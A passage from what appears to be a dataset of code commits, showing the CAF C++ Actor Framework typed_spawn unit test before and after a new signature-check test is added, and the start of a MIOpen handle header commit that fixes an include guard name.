\/\/ The heartbeat thread will notice this!\n }\n \/\/ invalidate our local cache, even if an error occurred\n ClusterInfo::instance()->flush();\n } catch (...) {\n }\n\n V8DealerFeature::DEALER->exitContext(context);\n\n return ok;\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * ____ _ _____ *\n * \/ ___| \/ \\ | ___| C++ *\n * | | \/ _ \\ | |_ Actor *\n * | |___ \/ ___ \\| _| Framework *\n * \\____\/_\/ \\_|_| *\n * *\n * Copyright (C) 2011 - 2015 *\n * Dominik Charousset <dominik.charousset (at) haw-hamburg.de> *\n * *\n * Distributed under the terms and conditions of the BSD 3-Clause License or *\n * (at your option) under the terms and conditions of the Boost Software *\n * License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE. *\n * *\n * If you did not receive a copy of the license files, see *\n * http:\/\/opensource.org\/licenses\/BSD-3-Clause and *\n * http:\/\/www.boost.org\/LICENSE_1_0.txt. *\n ******************************************************************************\/\n\n#include \"caf\/config.hpp\"\n\n\/\/ exclude this suite; seems to be too much to swallow for MSVC\n#ifndef CAF_WINDOWS\n\n#define CAF_SUITE typed_spawn\n#include \"caf\/test\/unit_test.hpp\"\n\n#include \"caf\/string_algorithms.hpp\"\n\n#include \"caf\/all.hpp\"\n\nusing namespace std;\nusing namespace caf;\n\nusing passed_atom = caf::atom_constant<caf::atom(\"passed\")>;\n\nnamespace {\n\n\/\/ check invariants of type system\nusing dummy1 = typed_actor<reacts_to<int, int>,\n replies_to<double>::with<double>>;\n\nusing dummy2 = dummy1::extend<reacts_to<ok_atom>>;\n\nstatic_assert(std::is_convertible<dummy2, dummy1>::value,\n \"handle not assignable to narrower definition\");\n\nstatic_assert(! std::is_convertible<dummy1, dummy2>::value,\n \"handle is assignable to broader definition\");\n\n\/******************************************************************************\n * simple request\/response test *\n ******************************************************************************\/\n\nstruct my_request {\n int a;\n int b;\n};\n\nusing server_type = typed_actor<replies_to<my_request>::with<bool>>;\n\nbool operator==(const my_request& lhs, const my_request& rhs) {\n return lhs.a == rhs.a && lhs.b == rhs.b;\n}\n\nserver_type::behavior_type typed_server1() {\n return {\n [](const my_request& req) {\n return req.a == req.b;\n }\n };\n}\n\nserver_type::behavior_type typed_server2(server_type::pointer) {\n return typed_server1();\n}\n\nclass typed_server3 : public server_type::base {\n\npublic:\n\n typed_server3(const string& line, actor buddy) { send(buddy, line); }\n\n behavior_type make_behavior() override { return typed_server2(this); }\n\n};\n\nvoid client(event_based_actor* self, actor parent, server_type serv) {\n self->sync_send(serv, my_request{0, 0}).then(\n [=](bool val1) {\n CAF_CHECK_EQUAL(val1, true);\n self->sync_send(serv, my_request{10, 20}).then(\n [=](bool val2) {\n CAF_CHECK_EQUAL(val2, false);\n self->send(parent, passed_atom::value);\n }\n );\n }\n );\n}\n\nvoid test_typed_spawn(server_type ts) {\n scoped_actor self;\n self->send(ts, my_request{1, 2});\n self->receive(\n [](bool value) {\n CAF_CHECK_EQUAL(value, false);\n }\n );\n self->send(ts, my_request{42, 42});\n self->receive(\n [](bool value) {\n CAF_CHECK_EQUAL(value, true);\n }\n );\n self->sync_send(ts, my_request{10, 20}).await(\n [](bool value) {\n CAF_CHECK_EQUAL(value, false);\n }\n );\n self->sync_send(ts, my_request{0, 0}).await(\n [](bool value) {\n CAF_CHECK_EQUAL(value, true);\n }\n );\n self->spawn<monitored>(client, self, ts);\n self->receive(\n [](passed_atom) {\n CAF_MESSAGE(\"received `passed_atom`\");\n }\n );\n self->receive(\n [](const down_msg& dmsg) {\n CAF_CHECK_EQUAL(dmsg.reason, exit_reason::normal);\n }\n );\n self->send_exit(ts, exit_reason::user_shutdown);\n}\n\n\/******************************************************************************\n * test skipping of messages intentionally + using become() *\n ******************************************************************************\/\n\nstruct get_state_msg {};\n\nusing event_testee_type = typed_actor<replies_to<get_state_msg>::with<string>,\n replies_to<string>::with<void>,\n replies_to<float>::with<void>,\n replies_to<int>::with<int>>;\n\nclass event_testee : public event_testee_type::base {\n\npublic:\n\n behavior_type wait4string() {\n return {on<get_state_msg>() >> [] { return \"wait4string\"; },\n on<string>() >> [=] { become(wait4int()); },\n (on<float>() || on<int>()) >> skip_message};\n }\n\n behavior_type wait4int() {\n return {\n on<get_state_msg>() >> [] { return \"wait4int\"; },\n on<int>() >> [=]()->int {become(wait4float());\n return 42;\n },\n (on<float>() || on<string>()) >> skip_message\n };\n }\n\n behavior_type wait4float() {\n return {\n on<get_state_msg>() >> [] {\n return \"wait4float\";\n },\n on<float>() >> [=] { become(wait4string()); },\n (on<string>() || on<int>()) >> skip_message};\n }\n\n behavior_type make_behavior() override {\n return wait4int();\n }\n\n};\n\n\/******************************************************************************\n * simple 'forwarding' chain *\n ******************************************************************************\/\n\nusing string_actor = typed_actor<replies_to<string>::with<string>>;\n\nvoid simple_relay(string_actor::pointer self, string_actor master, bool leaf) {\n string_actor next =\n leaf ? spawn_typed(simple_relay, master, false) : master;\n self->link_to(next);\n self->become(\n [=](const string& str) {\n return self->sync_send(next, str).then(\n [](const string & answer)->string {\n return answer;\n }\n );\n });\n}\n\nstring_actor::behavior_type simple_string_reverter() {\n return {\n [](const string& str) {\n return string{str.rbegin(), str.rend()};\n }\n };\n}\n\n\/******************************************************************************\n * sending typed actor handles *\n ******************************************************************************\/\n\nusing int_actor = typed_actor<replies_to<int>::with<int>>;\n\nint_actor::behavior_type int_fun() {\n return {\n [](int i) { return i * i; }\n };\n}\n\nbehavior foo(event_based_actor* self) {\n return {\n [=](int i, int_actor server) {\n return self->sync_send(server, i).then([=](int result) -> int {\n self->quit(exit_reason::normal);\n return result;\n });\n }\n };\n}\n\nint_actor::behavior_type int_fun2(int_actor::pointer self) {\n self->trap_exit(true);\n return {\n [=](int i) {\n self->monitor(self->current_sender());\n return i * i;\n },\n [=](const down_msg& dm) {\n CAF_CHECK_EQUAL(dm.reason, exit_reason::normal);\n self->quit();\n },\n [=](const exit_msg&) {\n CAF_TEST_ERROR(\"Unexpected message: \"\n << to_string(self->current_message()));\n }\n };\n}\n\nbehavior foo2(event_based_actor* self) {\n return {\n [=](int i, int_actor server) {\n return self->sync_send(server, i).then([=](int result) -> int {\n self->quit(exit_reason::normal);\n return result;\n });\n }\n };\n}\n\nstruct fixture {\n fixture() {\n announce<get_state_msg>(\"get_state_msg\");\n announce<int_actor>(\"int_actor\");\n announce<my_request>(\"my_request\", &my_request::a, &my_request::b);\n }\n\n ~fixture() {\n await_all_actors_done();\n shutdown();\n }\n};\n\n} \/\/ namespace <anonymous>\n\nCAF_TEST_FIXTURE_SCOPE(typed_spawn_tests, fixture)\n\n\/******************************************************************************\n * put it all together *\n ******************************************************************************\/\n\nCAF_TEST(typed_spawns) {\n \/\/ run test series with typed_server(1|2)\n test_typed_spawn(spawn_typed(typed_server1));\n await_all_actors_done();\n CAF_MESSAGE(\"finished test series with `typed_server1`\");\n\n test_typed_spawn(spawn_typed(typed_server2));\n await_all_actors_done();\n CAF_MESSAGE(\"finished test series with `typed_server2`\");\n {\n scoped_actor self;\n test_typed_spawn(spawn_typed<typed_server3>(\"hi there\", self));\n self->receive(on(\"hi there\") >> [] {\n CAF_MESSAGE(\"received \\\"hi there\\\"\");\n });\n }\n}\n\nCAF_TEST(test_event_testee) {\n \/\/ run test series with event_testee\n scoped_actor self;\n auto et = self->spawn_typed<event_testee>();\n string result;\n self->send(et, 1);\n self->send(et, 2);\n self->send(et, 3);\n self->send(et, .1f);\n self->send(et, \"hello event testee!\");\n self->send(et, .2f);\n self->send(et, .3f);\n self->send(et, \"hello again event testee!\");\n self->send(et, \"goodbye event testee!\");\n typed_actor<replies_to<get_state_msg>::with<string>> sub_et = et;\n \/\/ $:: is the anonymous namespace\n set<string> iface{\"caf::replies_to<get_state_msg>::with<@str>\",\n \"caf::replies_to<@str>::with<void>\",\n \"caf::replies_to<float>::with<void>\",\n \"caf::replies_to<@i32>::with<@i32>\"};\n CAF_CHECK_EQUAL(join(sub_et->message_types(), \",\"), join(iface, \",\"));\n self->send(sub_et, get_state_msg{});\n \/\/ we expect three 42s\n int i = 0;\n self->receive_for(i, 3)([](int value) { CAF_CHECK_EQUAL(value, 42); });\n self->receive(\n [&](const string& str) {\n result = str;\n },\n after(chrono::minutes(1)) >> [&] {\n CAF_TEST_ERROR(\"event_testee does not reply\");\n throw runtime_error(\"event_testee does not reply\");\n }\n );\n self->send_exit(et, exit_reason::user_shutdown);\n self->await_all_other_actors_done();\n CAF_CHECK_EQUAL(result, \"wait4int\");\n}\n\nCAF_TEST(test_simple_string_reverter) {\n \/\/ run test series with string reverter\n scoped_actor self;\n \/\/ actor-under-test\n auto aut = self->spawn_typed<monitored>(simple_relay,\n spawn_typed(simple_string_reverter),\n true);\n set<string> iface{\"caf::replies_to<@str>::with<@str>\"};\n CAF_CHECK(aut->message_types() == iface);\n self->sync_send(aut, \"Hello World!\").await([](const string& answer) {\n CAF_CHECK_EQUAL(answer, \"!dlroW olleH\");\n });\n anon_send_exit(aut, exit_reason::user_shutdown);\n}\n\nCAF_TEST(test_sending_typed_actors) {\n scoped_actor self;\n auto aut = spawn_typed(int_fun);\n self->send(spawn(foo), 10, aut);\n self->receive(\n [](int i) { CAF_CHECK_EQUAL(i, 100); }\n );\n self->send_exit(aut, exit_reason::user_shutdown);\n}\n\nCAF_TEST(test_sending_typed_actors_and_down_msg) {\n scoped_actor self;\n auto aut = spawn_typed(int_fun2);\n self->send(spawn(foo2), 10, aut);\n self->receive([](int i) { CAF_CHECK_EQUAL(i, 100); });\n}\n\nCAF_TEST_FIXTURE_SCOPE_END()\n\n#endif \/\/ CAF_WINDOWS\n<commit_msg>Add unit test for latest patch from ufownl<commit_after>\/******************************************************************************\n * ____ _ _____ *\n * \/ ___| \/ \\ | ___| C++ *\n * | | \/ _ \\ | |_ Actor *\n * | |___ \/ ___ \\| _| Framework *\n * \\____\/_\/ \\_|_| *\n * *\n * Copyright (C) 2011 - 2015 *\n * Dominik Charousset <dominik.charousset (at) haw-hamburg.de> *\n * *\n * Distributed under the terms and conditions of the BSD 3-Clause License or *\n * (at your option) under the terms and conditions of the Boost Software *\n * License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE. *\n * *\n * If you did not receive a copy of the license files, see *\n * http:\/\/opensource.org\/licenses\/BSD-3-Clause and *\n * http:\/\/www.boost.org\/LICENSE_1_0.txt. *\n ******************************************************************************\/\n\n#include \"caf\/config.hpp\"\n\n\/\/ exclude this suite; seems to be too much to swallow for MSVC\n#ifndef CAF_WINDOWS\n\n#define CAF_SUITE typed_spawn\n#include \"caf\/test\/unit_test.hpp\"\n\n#include \"caf\/string_algorithms.hpp\"\n\n#include \"caf\/all.hpp\"\n\nusing namespace std;\nusing namespace caf;\n\nusing passed_atom = caf::atom_constant<caf::atom(\"passed\")>;\n\nnamespace {\n\n\/\/ check invariants of type system\nusing dummy1 = typed_actor<reacts_to<int, int>,\n replies_to<double>::with<double>>;\n\nusing dummy2 = dummy1::extend<reacts_to<ok_atom>>;\n\nstatic_assert(std::is_convertible<dummy2, dummy1>::value,\n \"handle not assignable to narrower definition\");\n\nstatic_assert(! std::is_convertible<dummy1, dummy2>::value,\n \"handle is assignable to broader definition\");\n\n\/******************************************************************************\n * simple request\/response test *\n ******************************************************************************\/\n\nstruct my_request {\n int a;\n int b;\n};\n\nusing server_type = typed_actor<replies_to<my_request>::with<bool>>;\n\nbool operator==(const my_request& lhs, const my_request& rhs) {\n return lhs.a == rhs.a && lhs.b == rhs.b;\n}\n\nserver_type::behavior_type typed_server1() {\n return {\n [](const my_request& req) {\n return req.a == req.b;\n }\n };\n}\n\nserver_type::behavior_type typed_server2(server_type::pointer) {\n return typed_server1();\n}\n\nclass typed_server3 : public server_type::base {\n\npublic:\n\n typed_server3(const string& line, actor buddy) { send(buddy, line); }\n\n behavior_type make_behavior() override { return typed_server2(this); }\n\n};\n\nvoid client(event_based_actor* self, actor parent, server_type serv) {\n self->sync_send(serv, my_request{0, 0}).then(\n [=](bool val1) {\n CAF_CHECK_EQUAL(val1, true);\n self->sync_send(serv, my_request{10, 20}).then(\n [=](bool val2) {\n CAF_CHECK_EQUAL(val2, false);\n self->send(parent, passed_atom::value);\n }\n );\n }\n );\n}\n\nvoid test_typed_spawn(server_type ts) {\n scoped_actor self;\n self->send(ts, my_request{1, 2});\n self->receive(\n [](bool value) {\n CAF_CHECK_EQUAL(value, false);\n }\n );\n self->send(ts, my_request{42, 42});\n self->receive(\n [](bool value) {\n CAF_CHECK_EQUAL(value, true);\n }\n );\n self->sync_send(ts, my_request{10, 20}).await(\n [](bool value) {\n CAF_CHECK_EQUAL(value, false);\n }\n );\n self->sync_send(ts, my_request{0, 0}).await(\n [](bool value) {\n CAF_CHECK_EQUAL(value, true);\n }\n );\n self->spawn<monitored>(client, self, ts);\n self->receive(\n [](passed_atom) {\n CAF_MESSAGE(\"received `passed_atom`\");\n }\n );\n self->receive(\n [](const down_msg& dmsg) {\n CAF_CHECK_EQUAL(dmsg.reason, exit_reason::normal);\n }\n );\n self->send_exit(ts, exit_reason::user_shutdown);\n}\n\n\/******************************************************************************\n * test skipping of messages intentionally + using become() *\n ******************************************************************************\/\n\nstruct get_state_msg {};\n\nusing event_testee_type = typed_actor<replies_to<get_state_msg>::with<string>,\n replies_to<string>::with<void>,\n replies_to<float>::with<void>,\n replies_to<int>::with<int>>;\n\nclass event_testee : public event_testee_type::base {\n\npublic:\n\n behavior_type wait4string() {\n return {on<get_state_msg>() >> [] { return \"wait4string\"; },\n on<string>() >> [=] { become(wait4int()); },\n (on<float>() || on<int>()) >> skip_message};\n }\n\n behavior_type wait4int() {\n return {\n on<get_state_msg>() >> [] { return \"wait4int\"; },\n on<int>() >> [=]()->int {become(wait4float());\n return 42;\n },\n (on<float>() || on<string>()) >> skip_message\n };\n }\n\n behavior_type wait4float() {\n return {\n on<get_state_msg>() >> [] {\n return \"wait4float\";\n },\n on<float>() >> [=] { become(wait4string()); },\n (on<string>() || on<int>()) >> skip_message};\n }\n\n behavior_type make_behavior() override {\n return wait4int();\n }\n\n};\n\n\/******************************************************************************\n * simple 'forwarding' chain *\n ******************************************************************************\/\n\nusing string_actor = typed_actor<replies_to<string>::with<string>>;\n\nvoid simple_relay(string_actor::pointer self, string_actor master, bool leaf) {\n string_actor next =\n leaf ? spawn_typed(simple_relay, master, false) : master;\n self->link_to(next);\n self->become(\n [=](const string& str) {\n return self->sync_send(next, str).then(\n [](const string & answer)->string {\n return answer;\n }\n );\n });\n}\n\nstring_actor::behavior_type simple_string_reverter() {\n return {\n [](const string& str) {\n return string{str.rbegin(), str.rend()};\n }\n };\n}\n\n\/******************************************************************************\n * sending typed actor handles *\n ******************************************************************************\/\n\nusing int_actor = typed_actor<replies_to<int>::with<int>>;\n\nint_actor::behavior_type int_fun() {\n return {\n [](int i) { return i * i; }\n };\n}\n\nbehavior foo(event_based_actor* self) {\n return {\n [=](int i, int_actor server) {\n return self->sync_send(server, i).then([=](int result) -> int {\n self->quit(exit_reason::normal);\n return result;\n });\n }\n };\n}\n\nint_actor::behavior_type int_fun2(int_actor::pointer self) {\n self->trap_exit(true);\n return {\n [=](int i) {\n self->monitor(self->current_sender());\n return i * i;\n },\n [=](const down_msg& dm) {\n CAF_CHECK_EQUAL(dm.reason, exit_reason::normal);\n self->quit();\n },\n [=](const exit_msg&) {\n CAF_TEST_ERROR(\"Unexpected message: \"\n << to_string(self->current_message()));\n }\n };\n}\n\nbehavior foo2(event_based_actor* self) {\n return {\n [=](int i, int_actor server) {\n return self->sync_send(server, i).then([=](int result) -> int {\n self->quit(exit_reason::normal);\n return result;\n });\n }\n };\n}\n\nstruct fixture {\n fixture() {\n announce<get_state_msg>(\"get_state_msg\");\n announce<int_actor>(\"int_actor\");\n announce<my_request>(\"my_request\", &my_request::a, &my_request::b);\n }\n\n ~fixture() {\n await_all_actors_done();\n shutdown();\n }\n};\n\n} \/\/ namespace <anonymous>\n\nCAF_TEST_FIXTURE_SCOPE(typed_spawn_tests, fixture)\n\n\/******************************************************************************\n * put it all together *\n ******************************************************************************\/\n\nCAF_TEST(typed_spawns) {\n \/\/ run test series with typed_server(1|2)\n test_typed_spawn(spawn_typed(typed_server1));\n await_all_actors_done();\n CAF_MESSAGE(\"finished test series with `typed_server1`\");\n\n test_typed_spawn(spawn_typed(typed_server2));\n await_all_actors_done();\n CAF_MESSAGE(\"finished test series with `typed_server2`\");\n {\n scoped_actor self;\n test_typed_spawn(spawn_typed<typed_server3>(\"hi there\", self));\n self->receive(on(\"hi there\") >> [] {\n CAF_MESSAGE(\"received \\\"hi there\\\"\");\n });\n }\n}\n\nCAF_TEST(test_event_testee) {\n \/\/ run test series with event_testee\n scoped_actor self;\n auto et = self->spawn_typed<event_testee>();\n string result;\n self->send(et, 1);\n self->send(et, 2);\n self->send(et, 3);\n self->send(et, .1f);\n self->send(et, \"hello event testee!\");\n self->send(et, .2f);\n self->send(et, .3f);\n self->send(et, \"hello again event testee!\");\n self->send(et, \"goodbye event testee!\");\n typed_actor<replies_to<get_state_msg>::with<string>> sub_et = et;\n \/\/ $:: is the anonymous namespace\n set<string> iface{\"caf::replies_to<get_state_msg>::with<@str>\",\n \"caf::replies_to<@str>::with<void>\",\n \"caf::replies_to<float>::with<void>\",\n \"caf::replies_to<@i32>::with<@i32>\"};\n CAF_CHECK_EQUAL(join(sub_et->message_types(), \",\"), join(iface, \",\"));\n self->send(sub_et, get_state_msg{});\n \/\/ we expect three 42s\n int i = 0;\n self->receive_for(i, 3)([](int value) { CAF_CHECK_EQUAL(value, 42); });\n self->receive(\n [&](const string& str) {\n result = str;\n },\n after(chrono::minutes(1)) >> [&] {\n CAF_TEST_ERROR(\"event_testee does not reply\");\n throw runtime_error(\"event_testee does not reply\");\n }\n );\n self->send_exit(et, exit_reason::user_shutdown);\n self->await_all_other_actors_done();\n CAF_CHECK_EQUAL(result, \"wait4int\");\n}\n\nCAF_TEST(test_simple_string_reverter) {\n \/\/ run test series with string reverter\n scoped_actor self;\n \/\/ actor-under-test\n auto aut = self->spawn_typed<monitored>(simple_relay,\n spawn_typed(simple_string_reverter),\n true);\n set<string> iface{\"caf::replies_to<@str>::with<@str>\"};\n CAF_CHECK(aut->message_types() == iface);\n self->sync_send(aut, \"Hello World!\").await([](const string& answer) {\n CAF_CHECK_EQUAL(answer, \"!dlroW olleH\");\n });\n anon_send_exit(aut, exit_reason::user_shutdown);\n}\n\nCAF_TEST(test_sending_typed_actors) {\n scoped_actor self;\n auto aut = spawn_typed(int_fun);\n self->send(spawn(foo), 10, aut);\n self->receive(\n [](int i) { CAF_CHECK_EQUAL(i, 100); }\n );\n self->send_exit(aut, exit_reason::user_shutdown);\n}\n\nCAF_TEST(test_sending_typed_actors_and_down_msg) {\n scoped_actor self;\n auto aut = spawn_typed(int_fun2);\n self->send(spawn(foo2), 10, aut);\n self->receive([](int i) { CAF_CHECK_EQUAL(i, 100); });\n}\n\nCAF_TEST(check_signature) {\n using foo_type = typed_actor<replies_to<put_atom>::\n with_either<ok_atom>::or_else<error_atom>>;\n using foo_result_type = either<ok_atom>::or_else<error_atom>;\n using bar_type = typed_actor<reacts_to<ok_atom>, reacts_to<error_atom>>;\n auto foo_action = [](foo_type::pointer self) -> foo_type::behavior_type {\n return {\n [=] (put_atom) -> foo_result_type {\n self->quit();\n return {ok_atom::value};\n }\n };\n };\n auto bar_action = [=](bar_type::pointer self) -> bar_type::behavior_type {\n auto foo = self->spawn_typed<linked>(foo_action);\n self->send(foo, put_atom::value);\n return {\n [=](ok_atom) {\n self->quit();\n },\n [=](error_atom) {\n self->quit(exit_reason::user_defined);\n }\n };\n };\n scoped_actor self;\n self->spawn_typed<monitored>(bar_action);\n self->receive(\n [](const down_msg& dm) {\n CAF_CHECK_EQUAL(dm.reason, exit_reason::normal);\n }\n );\n}\n\nCAF_TEST_FIXTURE_SCOPE_END()\n\n#endif \/\/ CAF_WINDOWS\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#ifndef GUARD_MIOPEN_CONTEXT_HPP_\n#define GUARD_MIOPEN_CONTEXT_HPP_\n\n#include <miopen\/config.h>\n#include <miopen\/kernel_info.hpp>\n#include <miopen\/common.hpp>\n#include <miopen\/invoker_cache.hpp>\n#include <miopen\/kernel.hpp>\n#include <miopen\/miopen.h>\n#include <miopen\/names.hpp>\n#include <miopen\/object.hpp>\n#include <miopen\/allocator.hpp>\n#include <miopen\/simple_hash.hpp>\n#include <miopen\/solver_id.hpp>\n#include <miopen\/stringutils.hpp>\n#include <miopen\/target_properties.hpp>\n\n#include <boost\/range\/adaptor\/transformed.hpp>\n\n#include <cstdio>\n#include <cstring>\n#include <ios>\n#include <sstream>\n#include <memory>\n#include <vector>\n#include <unordered_map>\n\n#if MIOPEN_USE_ROCBLAS\n#include <miopen\/manage_ptr.hpp>\n#if MIOPEN_ROCBLAS_VERSION_FLAT < 2045000\n#include <rocblas.h>\n#else\n#include <rocblas\/rocblas.h>\n#endif\n#endif\n\nnamespace miopen {\n\nstruct HandleImpl;\n#if MIOPEN_USE_MIOPENGEMM\nstruct GemmGeometry;\nusing GemmKey = std::pair<std::string, std::string>;\n#endif\n\n#if MIOPEN_USE_ROCBLAS\nusing rocblas_handle_ptr = MIOPEN_MANAGE_PTR(rocblas_handle, rocblas_destroy_handle);\n#endif\n\nstruct Handle : miopenHandle\n{\n friend struct TargetProperties;\n\n Handle();\n Handle(miopenAcceleratorQueue_t stream);\n Handle(Handle&&) noexcept;\n ~Handle();\n\n miopenAcceleratorQueue_t GetStream() const;\n void SetStream(miopenAcceleratorQueue_t streamID) const;\n\n void SetAllocator(miopenAllocatorFunction allocator,\n miopenDeallocatorFunction deallocator,\n void* allocatorContext) const;\n\n void EnableProfiling(bool enable = true) const;\n\n void ResetKernelTime() const;\n void AccumKernelTime(float curr_time) const;\n\n float GetKernelTime() const;\n bool IsProfilingEnabled() const;\n\n KernelInvoke AddKernel(const std::string& algorithm,\n const std::string& network_config,\n const std::string& program_name,\n const std::string& kernel_name,\n const std::vector<size_t>& vld,\n const std::vector<size_t>& vgd,\n const std::string& params,\n std::size_t cache_index = 0,\n bool is_kernel_str = false,\n const std::string& kernel_src = \"\") const;\n\n bool HasKernel(const std::string& algorithm, const std::string& network_config) const;\n\n void ClearKernels(const std::string& algorithm, const std::string& network_config) const;\n\n auto GetKernels(const std::string& algorithm, const std::string& network_config) const\n {\n return this->GetKernelsImpl(algorithm, network_config) |\n boost::adaptors::transformed([this](Kernel k) { return this->Run(k); });\n }\n KernelInvoke GetKernel(const std::string& algorithm, const std::string& network_config) const\n {\n auto ks = this->GetKernelsImpl(algorithm, network_config);\n if(ks.empty())\n {\n MIOPEN_THROW(\"looking for default kernel (does not exist): \" + algorithm + \", \" +\n network_config);\n }\n return this->Run(ks.front());\n }\n\n KernelInvoke Run(Kernel k) const;\n const std::vector<Kernel>& GetKernelsImpl(const std::string& algorithm,\n const std::string& network_config) const;\n\n Program LoadProgram(const std::string& program_name,\n std::string params,\n bool is_kernel_str,\n const std::string& kernel_src) const;\n\n bool HasProgram(const std::string& program_name, const std::string& params) const;\n void ClearProgram(const std::string& program_name, const std::string& params) const;\n void AddProgram(Program prog, const std::string& program_name, const std::string& params) const;\n\n void Finish() const;\n void Flush() const;\n\n std::size_t GetLocalMemorySize() const;\n std::size_t GetGlobalMemorySize() const;\n std::size_t GetImage3dMaxWidth() const;\n std::size_t GetWavefrontWidth() const;\n std::size_t GetMaxComputeUnits() const;\n std::size_t GetMaxHardwareComputeUnits() const\n {\n std::size_t num_cu = this->GetMaxComputeUnits();\n std::string name = this->GetDeviceName();\n return StartsWith(name, \"gfx1\") ? num_cu * 2 \/* CUs per WGP *\/ : num_cu;\n }\n\n std::size_t m_MaxMemoryAllocSizeCached = 0;\n std::size_t GetMaxMemoryAllocSize();\n\n std::string GetDeviceName() const;\n const TargetProperties& GetTargetProperties() const;\n\nprivate:\n std::string GetDeviceNameImpl() const;\n\npublic:\n std::ostream& Print(std::ostream& os) const;\n void Copy(ConstData_t src, Data_t dest, std::size_t size) const;\n\n Allocator::ManageDataPtr Create(std::size_t sz) const;\n Allocator::ManageDataPtr&\n WriteTo(const void* data, Allocator::ManageDataPtr& ddata, std::size_t sz) const;\n void ReadTo(void* data, const Allocator::ManageDataPtr& ddata, std::size_t sz) const;\n shared<Data_t> CreateSubBuffer(Data_t data, std::size_t offset, std::size_t size) const;\n#if MIOPEN_BACKEND_HIP\n shared<ConstData_t>\n CreateSubBuffer(ConstData_t data, std::size_t offset, std::size_t size) const;\n#endif\n\n template <class T>\n Allocator::ManageDataPtr Create(std::size_t sz)\n {\n return this->Create(sz * sizeof(T));\n }\n\n template <class Container>\n Allocator::ManageDataPtr Write(const Container& c)\n {\n using type = typename Container::value_type;\n auto buf = this->Create<type>(c.size());\n return std::move(\n this->WriteTo(reinterpret_cast<const void*>(c.data()), buf, c.size() * sizeof(type)));\n }\n\n template <class T>\n std::vector<T> Read(const Allocator::ManageDataPtr& ddata, std::size_t sz)\n {\n std::vector<T> result(sz);\n this->ReadTo(result.data(), ddata, sz * sizeof(T));\n return result;\n }\n\n static std::string GetDbBasename(const TargetProperties& target, size_t num_cu)\n {\n auto ret = target.DbId() + [&]() {\n std::ostringstream ss;\n if(num_cu <= 64)\n ss << '_' << num_cu;\n else\n ss << std::hex << num_cu;\n return std::string(ss.str());\n }();\n return ret;\n }\n\n std::string GetDbBasename() const\n {\n return GetDbBasename(GetTargetProperties(), GetMaxComputeUnits());\n }\n\n std::unique_ptr<HandleImpl> impl;\n std::unordered_map<std::string, std::vector<miopenConvSolution_t>> find_map;\n#if MIOPEN_USE_MIOPENGEMM\n std::unordered_map<GemmKey, std::unique_ptr<GemmGeometry>, SimpleHash> geo_map;\n#endif\n\n Invoker PrepareInvoker(const InvokerFactory& factory,\n const std::vector<solver::KernelInfo>& kernels) const;\n\n void RegisterInvoker(const Invoker& invoker,\n const NetworkConfig& config,\n const std::string& solver,\n const boost::optional<AlgorithmName>& algo = boost::none)\n {\n invokers.Register({config, solver}, invoker);\n if(algo.has_value())\n invokers.SetAsFound1_0(config, *algo, solver);\n }\n\n boost::optional<const Invoker&>\n GetInvoker(const NetworkConfig& config,\n const boost::optional<solver::Id>& solver,\n const boost::optional<AlgorithmName>& algo = boost::none) const\n {\n assert(solver || algo);\n assert(!(solver && algo));\n if(solver)\n {\n MIOPEN_LOG_I2(\"Returning an invoker for problem \" << config.ToString() << \" and solver \"\n << solver->ToString());\n return invokers[std::make_pair(config.ToString(), solver->ToString())];\n }\n MIOPEN_LOG_I2(\"Returning an invoker for problem \" << config.ToString() << \" and algorithm \"\n << algo->ToString());\n return invokers.GetFound1_0(config, *algo);\n }\n\n boost::optional<const std::string&> GetFound1_0SolverId(const NetworkConfig& config,\n const AlgorithmName& algo) const\n {\n return invokers.GetFound1_0SolverId(config, algo);\n }\n\n#if MIOPEN_USE_ROCBLAS\n const rocblas_handle_ptr& rhandle() const { return rhandle_; }\n\nprivate:\n rocblas_handle_ptr CreateRocblasHandle() const;\n rocblas_handle_ptr rhandle_;\n#else\nprivate:\n#endif\n InvokerCache invokers;\n};\n\ninline std::ostream& operator<<(std::ostream& os, const Handle& handle) { return handle.Print(os); }\n\nstruct AutoEnableProfiling\n{\n AutoEnableProfiling(const Handle& x) : h(x)\n {\n prev_state = h.IsProfilingEnabled();\n h.EnableProfiling();\n }\n\n ~AutoEnableProfiling()\n {\n h.EnableProfiling(prev_state);\n h.ResetKernelTime();\n }\n\nprivate:\n const Handle& h;\n bool prev_state;\n};\n\n} \/\/ namespace miopen\nMIOPEN_DEFINE_OBJECT(miopenHandle, miopen::Handle);\n\n#endif \/\/ GUARD_MIOPEN_CONTEXT_HPP_\n<commit_msg>Fix handle include guard name (#1785)<commit_after>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND 